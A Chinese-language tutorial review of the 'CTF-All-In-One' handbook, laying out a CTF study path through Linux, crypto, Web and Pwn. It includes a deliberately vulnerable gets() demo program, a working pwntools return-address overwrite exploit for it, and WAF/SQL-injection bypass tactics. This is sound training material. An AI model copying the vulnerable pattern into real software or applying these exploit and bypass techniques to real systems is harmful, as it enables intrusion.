CTF-All-In-One实战解读：从基础到PWN漏洞利用的系统路线

简介《ctf-all-in-one.pdf》是一本系统完整的CTFCapture The Flag学习手册定位为从零基础到进阶的一站式参考适合网络安全爱好者、高校学生及竞赛选手。文档首先介绍CTF历史、比赛形式与规则随后分模块讲解逆向工程Reverse、漏洞利用Pwn、Web安全、密码学Crypto、杂项Misc与移动安全Mobile的必备知识并用较大篇幅梳理常用工具链包括虚拟机、调试器、反汇编器、IDA Pro、gdb、pwntools、Burp Suite等。内容不仅覆盖Linux/Windows平台下二进制分析、栈溢出、堆利用、格式化字符串、ROP等核心漏洞利用技术还深入Fuzz测试、符号执行、LLVM、反调试与反编译等高级专题并结合历年赛题与实际CVE漏洞提供完整解题思路。资源为单个PDF文档约6.69MB便于离线查阅目前已有592人学习下载是系统构建CTF知识体系并提升实战能力的实用资料。1. 为什么说 CTF-All-In-One 是最值得先啃的 CTF 学习资料CTF-All-In-One 这份文档在 GitHub 上挂了很久副标题是「从入门到放弃」但真正翻完的人会发现它其实是把 CTF 网络安全竞赛要用的东西按「基础知识 → 工具 → 分类专题 → 技巧 → 高级 → 题解 → CVE 实战 → 附录」重排了一遍从 Linux 命令一路写到内核漏洞利用。我拆它的动机很现实带过的新人大多数不是输在智商而是死于信息分散——今天翻一篇 Web 注入明天搜一篇堆利用知识点全是零散的。这份文档更像一本按题型组织的手册新手可以照着顺序吃比赛前能当字典查。适合刚入坑不知道先学什么的选手、从 Web 转 Pwn 想补二进制底子的人以及备赛期需要系统查漏补缺的老手。2. 先把地基打牢Linux、密码学与 Web 基础的正确打开顺序很多人拿到文档直接翻到 Pwn 章节这在方向上就错了。文档「基础知识篇」把 Linux、Web、逆向、密码学和 Android 五块放在最前面是因为 CTF 题目都是包装过的真实系统问题缺了底层概念后面读 writeup 全程像看黑匣子哪个地址为什么是那个值完全对不上。2.1 Linux 基础不是背命令字节序、文件描述符和调用约定才是考点文档里的 Linux 基础章节列了常用命令ls、cd、pwd、cat、less、mv、cp、rm、ps、top、kill、ifconfig、ping、netstat、nc、su、chmod、chown还有管道、变量、命令替换和 Bash 快捷键。这些确实要过一遍但真正拉开差距的是三件容易被跳过的事。第一件是字节序。CTF 里几乎所有 Pwn 和 Reverse 题都绕不开大小端。你写 exp 时会用 p64() 自动打包但只有理解了内存里 0x1234 在小端机器上存成 34 12你才看得懂 gdb 的x/gx输出和 IDA 的数据视图。检查当前机器字节序很简单lscpu | grep Byte Orderpython3 -c import sys; print(sys.byteorder)大端在 x86 环境基本遇不到但知道它存在能帮你少踩很多二进制分析的坑。第二件是文件描述符。文档里单列了输入输出和文件描述符一节0 是标准输入1 是标准输出2 是标准错误。Pwn 题里经常出现read(0, buf, n)这种从 fd 0 读数据的写法远程连上靶机后服务端 socket 就绑定在 fd 上理解了这一层你就知道为什么 pwntools 的 sendline 会直接进到程序缓冲区。第三件是调用约定。x86-64 System V 下函数参数依次放 rdi、rsi、rdx、rcx、r8、r932 位 cdecl 则是全部压栈。这张表直接影响 ROP 的 gadget 选取寄存器System V 参数位置Pwn 里的典型用法rdi第 1 个参数找pop rdi; ret塞 bin_sh 地址rsi第 2 个参数常配合pop rsi; pop r15; retrdx第 3 个参数给 read/write 传长度rcx / r8 / r9第 4~6 个参数出场率低一些顺序上我建议先通读文档基础知识篇读到「调用约定」时手边开一个 gdb随便反汇编一个函数核实一遍别只背结论。2.2 密码学基础初等数论、分组密码和哈希函数怎么读才不白费文档密码学目录很长初等数论、近世代数、流密码、分组密码、公钥密码、哈希函数、数字签名。光看目录很容易劝退但 CTF 里 Crypto 题的分布其实很固定古典密码 → 编码 → RSA → 分组模式 → 哈希长度扩展。初等数论里精读四件事就够起步模运算、最大公约数、模逆元、欧拉函数和费马小定理。RSA 题 99% 围着 n、e、c、d 转核心公式就是phi (p-1)*(q-1)d inverse(e, phi)。文档里的近世代数章节对绝大多数 Web 和 Pwn 选手来说可以先标记为「有需要再回读」不用强迫自己一上来啃群论。拿到一道 RSA 题我一般的操作流程是先读公钥、再查 n、最后算 dopenssl rsa -pubin -in pub.pem -text -nooutfrom Crypto.Util.number import inverse d inverse(65537, (p-1)*(q-1))openssl 读公钥是为了拿到 e 和 nn 不大就丢进 factordb 查查不到再想低加密指数、共模攻击这类方向。文档里「古典密码」一节有凯撒和维吉尼亚的破解思路千万别跳因为很多新手把题干里的字母串当成 base64 去解解了半天才发现是词频分析。分组密码部分重点看 ECB 和 CBCCBC 字节翻转是出题重灾区。哈希函数这节不要花太多时间抠 SHA-256 的算法细节要理解分组和填充——长度扩展攻击靠的就是「知道 H(m) 就能在不知道 m 的情况下伪造 H(m padding extra)」。2.3 Web 安全基础OWASP Top Ten 到 PHP 源码审计的衔接方法Web 基础模块包含 HTML、HTTP、JavaScript、常见 Web 服务器和 OWASP Top Ten。新手最容易犯的错是直接跳到 SQL 注入连 HTTP 请求结构都说不清。实际上所有 Web 题最后都在跟请求打交道Burp Suite 里拦截、改包、重放是基本盘看不懂请求头就不知道往哪改。我给的阅读顺序是先精读 HTTP 协议基础然后用 Burp 抓一次真实的登录请求再按 OWASP Top Ten 逐个复现最后回到 PHP 源码审计做白盒分析。这几步落下来之后再看文档分类专题篇里的 SQL 注入利用和 XSS 漏洞利用思路是通的。阶段动作对应文档章节1用 Burp 抓包读懂请求行、请求头、body1.4.2 HTTP 协议基础2在本地靶机逐个复现 Top Ten 漏洞1.4.5 OWASP Top Ten3做 SQL 注入、XSS 分类专题3.4 Web4读 PHP 源码审计从黑盒转白盒1.4.6 PHP 源码审计基础PHP 源码审计是 Web 题从黑盒到白盒的跳跃点。弱类型比较和的区别、MD5 碰撞、反序列化、文件包含这些在文档里都有对应位置。我的建议是每个漏洞类型都自己在本地靶机上写个小例子复现一遍Web 题光看 writeup 是看不会的。2.4 学习路线怎么排文档里的 wargame 清单和「以赛代练」逻辑文档在 CTF 简介部分直接给了 wargame 清单pwnable.kr 练漏洞利用与挖掘reversing.kr 练逆向破解webhacking.kr 练 Web 渗透overthewire 做综合训练。这份清单的价值被很多人低估了它比市面上 90% 的付费课程更新得更勤。我的三个月路线第一个月过 Linux 基础和 Web 基础同时每天一道 pwnable.kr哪怕做不出来也要把 writeup 里涉及的系统调用查清楚第二个月啃文档分类专题篇的栈溢出和 ROP用 reversing.kr 维持逆向手感第三个月参加线上赛只挑自己方向的题做赛后对照文档题解篇的 brop、freenote、BabyHeap2017 这些 writeup 复盘。文档里强调的「以赛代练、总结与分享」是核心只刷 wargame 不总结其实成长很慢。3. 动手闭环用文档里的工具链跑通一次 Pwn 漏洞利用基础过完就该动手。文档「工具篇」列了一大串VM、QEMU、gdb/peda、ollydbg、windbg、radare2、IDA Pro、pwntools、zio、JEB、metasploit、binwalk、Burp Suite、LLDB。第一次看会懵但真实的分工其实很清晰按用途选型而不是按名气装。3.1 工具链选型VM、调试器、反汇编器到 pwntools 的分工用途首选工具什么时候换别的靶机环境VM、QEMU跨架构调试 ARM/MIPS 时用 QEMU动态调试gdb peda/pwndbgWindows 靶机换 ollydbg 或 windbgmacOS 用 LLDB静态分析IDA Pro没有许可证时用 radare2 r2ghidra 顶替利用开发pwntools老题目或纯交互脚本可以用 zio 应付Web 抓包Burp Suite只做简单请求时 curl 够用AndroidJEB看 smali 和 Dalvik 字节码比 jadx 稳杂项取证binwalk、metasploit拆固件、分析流量包时用选型逻辑一句话Linux 靶机题无脑 gdb/pwntools需要快速理解逻辑用 IDA F5Android 逆向别用通用反编译器直接上 JEB。文档把这些工具每个都开了独立小节安装配置跟着走就行。3.2 用 checksec 和 gdb 定位一个最简单的栈溢出先准备一个练习用的 demo 程序把保护和 PIE 全部关掉专注理解栈布局。我一般会写这样一个小例子#include stdio.h void win() { puts(you win!); } void vuln() { char buf[64]; gets(buf); } int main() { vuln(); return 0; }编译参数是关键入门阶段先卸掉所有防护gcc -fno-stack-protector -no-pie -o pwn demo.c-fno-stack-protector关闭 canary-no-pie关闭地址随机化这样win函数地址固定适合用来建立第一个完整的利用链。编译完用 checksec 验证一下防护状态checksec --file./pwn输出里会显示 CANARY、NX、PIE、RELRO 四项全部关闭就是入门最佳形态。用 pwntools 也能查适合写脚本时直接读状态from pwn import * print(ELF(./pwn).checksec())然后用 gdb 验证偏移。用 peda 的 pattern 功能是最省事的方式gdb ./pwn (gdb) pattern create 100 (gdb) run (gdb) pattern offset程序崩溃后寄存器里会带上 pattern 片段pattern offset直接告诉你返回地址距离缓冲区起始位置差了多少字节。64 位下 gets 写入 72 字节后正好覆盖返回地址这个 72 不是猜的是 pattern 算出来的。3.3 用 pwntools 写第一个 exp从连接靶机到拿到 flag 的完整流程理解了栈布局后利用脚本就一句话的事from pwn import * context.arch amd64 context.log_level info elf ELF(./pwn) win_addr elf.symbols[win] io process(./pwn) # 远程时换成 remote(ip, port) payload bA * 72 p64(win_addr) io.sendline(payload) io.interactive()context.arch告诉 pwntools 按 amd64 规则处理后续的打包和汇编elf.symbols[win]从 ELF 符号表里直接取地址这就是为什么刚才编译时不开 PIEp64()把地址按小端序打包sendline会附带一个换行符正好满足 gets 的输入终止条件。远程题目把process(./pwn)换成remote(ip, port)即可其余代码不用动。如果本地环境连 core dump 都能开还有一个更稳的偏移确认方式ulimit -c unlimitedio process(./pwn) io.sendline(cyclic(100)) io.wait() core io.corefile offset cyclic_find(core.rsp)corefile是 pwntools 自动加载 core dump 的接口cyclic_find直接算出偏移避免了纯手工数缓冲区的低级错误。这条我以前经常跳过后来被坑过一次才老老实实每次都用。3.4 后面的进阶链路ROP、堆利用、内核漏洞该什么时候碰第一个 exp 打通之后不要立刻去碰堆。我带的训练序列是栈溢出 → 开 NX 后 ret2libc → ROP 链拼接 → 需要 leak libc 地址 → 文档技巧篇的 DynELF 和 one-gadget → 堆利用fastbin、unsorted bin、house of 系列→ 内核 ROP。判断自己该不该进下一阶段的标准很简单当前阶段能否脱离 writeup 独立写 exp。比如 ROP 阶段如果你能自己数出pop rdi; ret的偏移并用 DynELF 泄露出 system 地址再往上走。文档高级篇里的 Fuzz、符号执行、angr、Triton 这些属于工具型知识比赛偶尔救急不用排在主线前面。阶段核心知识点文档位置1栈溢出、格式化字符串、整数溢出3.3 Pwn 分类专题2ROP、one-gadget、DynELF4.6~4.8 技巧篇3Linux 堆利用上中下3.3.5~3.3.74内核 ROP、Windows 内核利用3.3.8~3.3.105Fuzz、符号执行辅助解题5.1~5.3 高级篇4. 避坑排查从装环境到写 exploit 最容易翻车的五个现场下面五条不是理论是我和大家在训练和比赛里反复踩过的现场记录。每一条都是「现象 → 原因 → 解决」的结构你遇到类似问题可以直接对照。4.1 现象IDA 一按 F5 就卡死逆向题看不了伪代码原因程序加了花指令、SMC 自修改代码或者壳反编译器的堆栈分析直接失败。真实的 RE 题里很多会混入垃圾指令扰乱流程IDA 的 F5 遇到这种会转圈或者报错。解决先用 binwalk 或者检测壳的工具看文件有没有加壳有壳就先脱壳脱不掉就用 gdb 动态 dump 内存里的真实代码花指令就在 IDA 里找到对应的 junk byte手动 patch 成 nop 再 F5。文档工具篇里 radare2 能看到类似的处理流程IDA 处理不了时换 r2 有时反而快。4.2 现象pwn 题本地能通、远程连不上flag 永远拿不到原因最常见的是 libc 版本不一致。本地 libc 的偏移和远程不同ret2libc 的地址全错另一个高频原因是远程开了 ASLR 而本地测试时忘了开。解决先把本地的 ASLR 也打开测一遍排除环境差异然后 leak 一个真实地址拿末尾 12 位去 LibcSearcher 或者 libc-database 里匹配最后注意 64 位下调用 system 前 rsp 要保持 16 字节对齐很多 ROP 在栈上多垫一个ret就能解决 movaps 崩溃。文档技巧篇的 DynELF 可以直接绕过 libc 版本问题值得死磕。4.3 现象pwntools 交互怪癖recv 到的提示符一堆sendline 内容被吞原因目标程序用的是read(0, buf, n)而缓冲区有大小限制你一次性发太长就被截断或者程序用了行缓冲输出没触发 flushrecv 一直等不到数据。解决先逆向看清楚输入函数到底是 gets、read 还是 fgets再决定用send还是sendline交互时用recvuntil(bxxx)卡住关键分隔符别盲目recv(1024)本地调试挂gdb.attach()看程序到底卡在哪一步。我现在的习惯是写 exp 前先手动跑一遍程序确认输出格式再动手写交互逻辑。4.4 现象Crypto 题解不出来套了好几层编码还是白费原因第一关识别错了。常见坑有三个RSA 题给了 n、e、c 却没分清楚谁是谁e3 时没想到直接开三次方古典密码的密文是英文字母却被当成 base64 解。解决先归类型。看字符集纯字母就试凯撒、维吉尼亚、栅栏带特殊符号再试 base64、hexRSA 题先看 n 能不能在 factordb 查到查不到再看 e 是不是 3 或 65537最后才考虑共模、广播这类攻击。文档里古典密码那一节先读完再动手能省掉大量试错。4.5 现象Web 题 payload 被过滤换了几种编码还是被 WAF 拦原因没判断过滤点在前端、服务端还是中间 WAF 层。有些只是简单黑名单大小写就绕过了有些做了语义分析你换编码也没用。解决先发一个不含 payload 的常规请求看回显判断报错信息是否直接暴露 SQL 语句能回显就优先走报错注入不能就走盲注。绕过手段按文档 SQL 注入利用那节的清单逐一试注释符、大小写、双写、十六进制编码每次尝试都用 Burp Suite 留档方便回看哪一步触发了拦截。5. 用题解篇和 CVE 实战篇验证自己从做题到看真实漏洞的最后一公里5.1 题解篇和 CVE 实战篇的正确用法题解篇是按「题目-比赛-考点」组织的HCTF2016 brop 是盲打 ROP0CTF2015 freenote 是 unlink 堆利用DefconCTF2015 fuckup 考格式化字符串CSAWCTF2015 wyvern 是混合逆向。这里有个使用顺序的讲究先自己分析一小时写出一个卡壳位置的 partial solution再打开 writeup 只读关键一步然后立刻关掉把剩余部分自己补完。直接从头读到尾没有任何效果。实战篇的 CVE 案例把比赛题型接到了真实漏洞tcpdump 4.9.0 的缓冲区溢出、glibc 2.17 的 gethostbyname 溢出GHOST、wget 1.19.1 的缓冲区溢出、binutils 2.26.1 的整数溢出。做这些题的意义是让你意识到比赛里的栈溢出和格式串漏洞在真实程序里一样存在只是边界条件更脏、触发路径更长。5.2 搭一套自己的验证环境附录里提供了 CTFd、FBCTF 和 SecGen。我自己习惯在虚拟机里搭一个 CTFd把做过题目的源码重新部署上去隔一个月再打一遍验证是不是真的掌握了。打 AWD 之前也要提前准备写好 Web 漏洞的利用脚本、备份好服务配置、想好防御的 WAF 方案这些文档在 AWD 模式那一节都提到了但很少人真的去做预演。老实说我第一次拿到这份文档时也犯过「收藏即学会」的毛病翻了一遍目录就切去看视频。后来被一道 brop 题卡了三天回头把文档里 DynELF 那节重新读了一遍才通。从那以后我每次刷完一套题都强制自己回到文档对应章节把解法挂到知识树上再关页面。这个习惯帮我省了很多重复踩坑的时间希望也能帮到你。本文还有配套的精品资源点击获取